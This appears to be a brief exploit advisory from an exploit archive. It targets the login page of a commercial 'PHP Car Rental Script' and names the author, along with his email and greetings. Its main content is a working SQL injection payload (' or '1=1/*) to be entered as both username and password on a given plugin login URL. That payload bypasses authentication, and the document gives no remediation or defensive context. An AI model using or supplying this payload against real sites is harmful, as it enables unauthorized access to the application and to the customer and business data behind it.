PHP Car Rental Script suffers from a remote SQL injection vulnerability that allows for authentication bypass.
d2aef4dca69bc0cfaa05b03fa1a605c034fe12b7a3e94d18401ed8b01b1e54f0
/*
Name : PHP Car Rental-Script (Auth Bypass) SQL Injection
WebSite : http://www.carrentalphpscript.com/
Author : Hamza 'MizoZ' N.
Email : mizozx@gmail.com<mailto:mizozx@gmail.com>
Greetz : Zuka , Achille Dark3r , int_0x80 , geeksec.com<http://geeksec.com> ...
*/
- Log-On page :
[HOST]/[PATH]/index.php?plugin_id=4
username = ' or '1=1/*
password = ' or '1=1/*